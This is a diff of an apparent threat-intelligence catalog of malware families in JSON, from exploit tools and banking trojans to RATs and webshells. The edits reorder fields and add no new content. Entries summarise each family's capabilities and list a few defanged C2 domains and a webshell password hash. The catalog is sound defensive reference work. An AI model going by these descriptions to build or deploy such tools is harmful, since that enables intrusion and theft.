- "value": "ECLIPSEDWING",
- "uuid": "406ad0a9-b1fc-4edc-aa20-692a69f349a6"
+ "uuid": "406ad0a9-b1fc-4edc-aa20-692a69f349a6",
+ "value": "ECLIPSEDWING"
},
{
"description": "exploit for IMail 8.10 to 8.22",
- "value": "ETRE",
- "uuid": "3aaef939-132c-4cfb-9243-20918373ccfe"
+ "uuid": "3aaef939-132c-4cfb-9243-20918373ccfe",
+ "value": "ETRE"
},
{
"description": "an exploit framework, similar to MetaSploit",
- "value": "FUZZBUNCH",
- "uuid": "3de1aa96-24cd-4790-babc-df0b2d657bdb"
+ "uuid": "3de1aa96-24cd-4790-babc-df0b2d657bdb",
+ "value": "FUZZBUNCH"
},
{
"description": "implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors",
- "value": "ODDJOB",
- "uuid": "d20f9a41-db27-4d53-995e-547f86ff3d1e"
+ "uuid": "d20f9a41-db27-4d53-995e-547f86ff3d1e",
+ "value": "ODDJOB"
},
{
"description": "utility which Bypasses authentication for Oracle servers",
- "value": "PASSFREELY",
- "uuid": "b68ac0c5-124a-4f22-9c99-0c1cd42bdee3"
+ "uuid": "b68ac0c5-124a-4f22-9c99-0c1cd42bdee3",
+ "value": "PASSFREELY"
},
{
"description": "check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE",
- "value": "SMBTOUCH",
- "uuid": "48cf4f29-41a2-4244-bb25-377362eaa3ae"
+ "uuid": "48cf4f29-41a2-4244-bb25-377362eaa3ae",
+ "value": "SMBTOUCH"
},
{
"description": "Check if the target is running some RPC",
- "value": "ERRATICGOPHERTOUCH",
- "uuid": "a122b8e0-1249-4c77-8ef7-6b9caf48ab4f"
+ "uuid": "a122b8e0-1249-4c77-8ef7-6b9caf48ab4f",
+ "value": "ERRATICGOPHERTOUCH"
},
{
"description": "check if the running IIS version is vulnerable",
- "value": "IISTOUCH",
- "uuid": "7b4bf6dd-d191-429b-a5ee-9305093aa1ec"
+ "uuid": "7b4bf6dd-d191-429b-a5ee-9305093aa1ec",
+ "value": "IISTOUCH"
},
{
"description": "get info about windows via RPC",
- "value": "RPCOUTCH",
- "uuid": "2c9e90ea-7421-4101-97a6-ebe095bd29ad"
+ "uuid": "2c9e90ea-7421-4101-97a6-ebe095bd29ad",
+ "value": "RPCOUTCH"
},
{
"description": "used to connect to machines exploited by ETERNALCHAMPIONS",
- "value": "DOPU",
- "uuid": "f1657aac-a6be-4383-8cd6-06b833acf07c"
+ "uuid": "f1657aac-a6be-4383-8cd6-06b833acf07c",
+ "value": "DOPU"
},
{
"description": "covert surveillance tools",
- "value": "FlexSpy",
- "uuid": "71d6e949-69df-4d64-9637-136780226f49"
+ "uuid": "71d6e949-69df-4d64-9637-136780226f49",
+ "value": "FlexSpy"
},
{
+ "description": "Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html"
]
},
- "description": "Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.",
- "value": "feodo",
- "uuid": "372cdc12-d909-463c-877a-175f97f7abb5"
+ "uuid": "372cdc12-d909-463c-877a-175f97f7abb5",
+ "value": "feodo"
},
{
+ "description": "Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/"
]
},
- "description": "Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.",
- "value": "Cardinal RAT",
- "uuid": "1d9fbf33-faea-40c1-b543-c7b39561f0ff"
+ "uuid": "1d9fbf33-faea-40c1-b543-c7b39561f0ff",
+ "value": "Cardinal RAT"
},
{
+ "description": "The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/alerts/TA17-117A"
]
},
- "description": "The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.",
- "value": "REDLEAVES",
- "uuid": "179f7228-6fcf-4664-a084-57bd296d0cde"
+ "uuid": "179f7228-6fcf-4664-a084-57bd296d0cde",
+ "value": "REDLEAVES"
},
{
+ "description": "Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
]
},
- "description": "Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.",
- "value": "Kazuar",
- "uuid": "a5399473-859b-4c64-999b-a3b4070cd513"
+ "uuid": "a5399473-859b-4c64-999b-a3b4070cd513",
+ "value": "Kazuar"
},
{
+ "description": "Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).",
"meta": {
"refs": [
"https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/",
@@ -3108,19 +3118,18 @@
"TrickLoader"
]
},
- "description": "Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).",
- "value": "Trick Bot",
- "uuid": "a7dbd72f-8d53-48c6-a9db-d16e7648b2d4"
+ "uuid": "a7dbd72f-8d53-48c6-a9db-d16e7648b2d4",
+ "value": "Trick Bot"
},
{
+ "description": "Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.",
"meta": {
"refs": [
"https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped"
]
},
- "description": "Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.",
- "value": "Hackshit",
- "uuid": "02d2ed4a-ce3f-430b-a8da-5b9750c148ca"
+ "uuid": "02d2ed4a-ce3f-430b-a8da-5b9750c148ca",
+ "value": "Hackshit"
},
{
"meta": {
@@ -3132,6 +3141,7 @@
"value": "Moneygram Adwind"
},
{
+ "description": " Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2016/03/banload-malware-affecting-brazil-exhibits-unusually-complex-infection-process/",
@@ -3140,11 +3150,11 @@
"https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/"
]
},
- "description": " Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections.",
- "value": "Banload",
- "uuid": "d279bc1c-baa6-49aa-ab1b-7d012ae8db4e"
+ "uuid": "d279bc1c-baa6-49aa-ab1b-7d012ae8db4e",
+ "value": "Banload"
},
{
+ "description": "This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.",
"meta": {
"refs": [
"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"
@@ -3153,21 +3163,21 @@
"Dofoil"
]
},
- "description": "This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.",
- "value": "Smoke Loader",
- "uuid": "81f41bae-2ba9-4cec-9613-776be71645ca"
+ "uuid": "81f41bae-2ba9-4cec-9613-776be71645ca",
+ "value": "Smoke Loader"
},
{
+ "description": "The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).",
"meta": {
"refs": [
"https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/"
]
},
- "description": "The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).",
- "value": "LockPoS",
- "uuid": "c740c46b-1d95-42b5-ac3d-2bbab071b859"
+ "uuid": "c740c46b-1d95-42b5-ac3d-2bbab071b859",
+ "value": "LockPoS"
},
{
+ "description": "Win.Worm.Fadok drops several files. %AppData%\\RAC\\mls.exe or %AppData%\\RAC\\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.",
"meta": {
"refs": [
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm%3AWin32%2FFadok.A",
@@ -3177,51 +3187,51 @@
"Win32/Fadok"
]
},
- "description": "Win.Worm.Fadok drops several files. %AppData%\\RAC\\mls.exe or %AppData%\\RAC\\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.",
- "value": "Fadok",
- "uuid": "6243b2d1-381b-4aa4-a59f-839afcdf03f2"
+ "uuid": "6243b2d1-381b-4aa4-a59f-839afcdf03f2",
+ "value": "Fadok"
},
{
+ "description": "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.",
"meta": {
"refs": [
"https://phishme.com/loki-bot-malware/"
]
},
- "description": "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.",
- "value": "Loki Bot",
- "uuid": "9085faf1-e5ec-4e51-83eb-92620afda7be"
+ "uuid": "9085faf1-e5ec-4e51-83eb-92620afda7be",
+ "value": "Loki Bot"
},
{
+ "description": "Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. \nThroughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:",
"meta": {
"refs": [
"http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html"
]
},
- "description": "Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. \nThroughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:",
- "value": "KONNI",
- "uuid": "24ee55e3-697f-482f-8fa8-d05999df40cd"
+ "uuid": "24ee55e3-697f-482f-8fa8-d05999df40cd",
+ "value": "KONNI"
},
{
+ "description": "Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/"
]
},
- "description": "Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.",
- "value": "SpyDealer",
- "uuid": "f86b4977-228d-4b31-854d-8bdc92db4653"
+ "uuid": "f86b4977-228d-4b31-854d-8bdc92db4653",
+ "value": "SpyDealer"
},
{
+ "description": "CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems. ",
"meta": {
"refs": [
"https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/"
]
},
- "description": "CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems. ",
- "value": "CowerSnail",
- "uuid": "6da16d56-eaf9-475d-a7e0-4a11e0200c14"
+ "uuid": "6da16d56-eaf9-475d-a7e0-4a11e0200c14",
+ "value": "CowerSnail"
},
{
+ "description": "In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.",
"meta": {
"refs": [
"https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/"
@@ -3230,24 +3240,11 @@
"trojan-banker.androidos.svpeng.ae"
]
},
- "description": "In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.",
- "value": "Svpeng",
- "uuid": "a33df440-f112-4a5e-a290-3c65dae6091d"
+ "uuid": "a33df440-f112-4a5e-a290-3c65dae6091d",
+ "value": "Svpeng"
},
{
- "meta": {
- "refs": [
- "https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/"
- ],
- "type": [
- "webshell"
- ]
- },
"description": "While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.\nDuring our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.",
- "value": "TwoFace",
- "uuid": "9334c430-0d83-4893-8982-66a1dc1a2b11"
- },
- {
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/"
@@ -3256,132 +3253,145 @@
"webshell"
]
},
- "description": "Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete",
- "value": "IntrudingDivisor",
- "uuid": "bb2bd10b-b36d-4390-bf60-bd8d2d7cedec"
+ "uuid": "9334c430-0d83-4893-8982-66a1dc1a2b11",
+ "value": "TwoFace"
},
{
+ "description": "Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete",
+ "meta": {
+ "refs": [
+ "https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/"
+ ],
+ "type": [
+ "webshell"
+ ]
+ },
+ "uuid": "bb2bd10b-b36d-4390-bf60-bd8d2d7cedec",
+ "value": "IntrudingDivisor"
+ },
+ {
+ "description": "Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/"
]
},
- "description": "Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.",
- "value": "JS_POWMET",
- "uuid": "c602edae-b186-4c60-a4f6-8785d6aa0eb0"
+ "uuid": "c602edae-b186-4c60-a4f6-8785d6aa0eb0",
+ "value": "JS_POWMET"
},
{
+ "description": "The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.",
"meta": {
"refs": [
"https://isc.sans.edu/diary/22736"
]
},
- "description": "The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.",
- "value": "EngineBox Malware",
- "uuid": "17839df6-aa15-4269-b4b1-9e7ae8cfec1e"
+ "uuid": "17839df6-aa15-4269-b4b1-9e7ae8cfec1e",
+ "value": "EngineBox Malware"
},
{
+ "description": "Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.",
"meta": {
"refs": [
"https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/"
]
},
- "description": "Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.",
- "value": "Joao",
- "uuid": "673d05fa-4066-442c-bdb6-0c0a2da5ae62"
+ "uuid": "673d05fa-4066-442c-bdb6-0c0a2da5ae62",
+ "value": "Joao"
},
{
+ "description": "Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.",
"meta": {
"refs": [
"https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html"
]
},
- "description": "Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.",
- "value": "Fireball",
- "uuid": "968df869-7f60-4420-989f-23dfdbd58668"
+ "uuid": "968df869-7f60-4420-989f-23dfdbd58668",
+ "value": "Fireball"
},
{
+ "description": "ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.",
"meta": {
"refs": [
"https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf"
]
},
- "description": "ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.",
- "value": "ShadowPad",
- "uuid": "2448a4e1-46e3-4c42-9fd1-f51f8ede58c1"
+ "uuid": "2448a4e1-46e3-4c42-9fd1-f51f8ede58c1",
+ "value": "ShadowPad"
},
{
+ "description": "IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.",
"meta": {
"refs": [
"http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/"
]
},
- "description": "IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.",
- "value": "IoT_reaper",
- "uuid": "6052becf-3060-444c-8ed7-d4a3901ae7dd"
+ "uuid": "6052becf-3060-444c-8ed7-d4a3901ae7dd",
+ "value": "IoT_reaper"
},
{
+ "description": "FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html",
"https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/"
]
},
- "description": "FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.",
- "value": "FormBook",
- "uuid": "c7e7063b-b2a2-4046-8a19-94dea018eaa0"
+ "uuid": "c7e7063b-b2a2-4046-8a19-94dea018eaa0",
+ "value": "FormBook"
},
{
+ "description": "Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/"
]
},
- "description": "Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.",
- "value": "Dimnie",
- "uuid": "9fed4326-a7ad-4c58-ab87-90ac3957d82f"
+ "uuid": "9fed4326-a7ad-4c58-ab87-90ac3957d82f",
+ "value": "Dimnie"
},
{
+ "description": "The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/"
]
},
- "description": "The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.",
- "value": "ALMA Communicator",
- "uuid": "45de0d28-5a20-4190-ae21-68067e36e316"
+ "uuid": "45de0d28-5a20-4190-ae21-68067e36e316",
+ "value": "ALMA Communicator"
},
{
+ "description": "In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. \nWe saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.",
"meta": {
"refs": [
"https://securelist.com/the-silence/83009/"
]
},
- "description": "In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. \nWe saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.",
- "value": "Silence",
- "uuid": "304fd753-c917-4008-8f85-81390c37a070"
+ "uuid": "304fd753-c917-4008-8f85-81390c37a070",
+ "value": "Silence"
},
{
+ "description": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/alerts/TA17-318B"
]
},
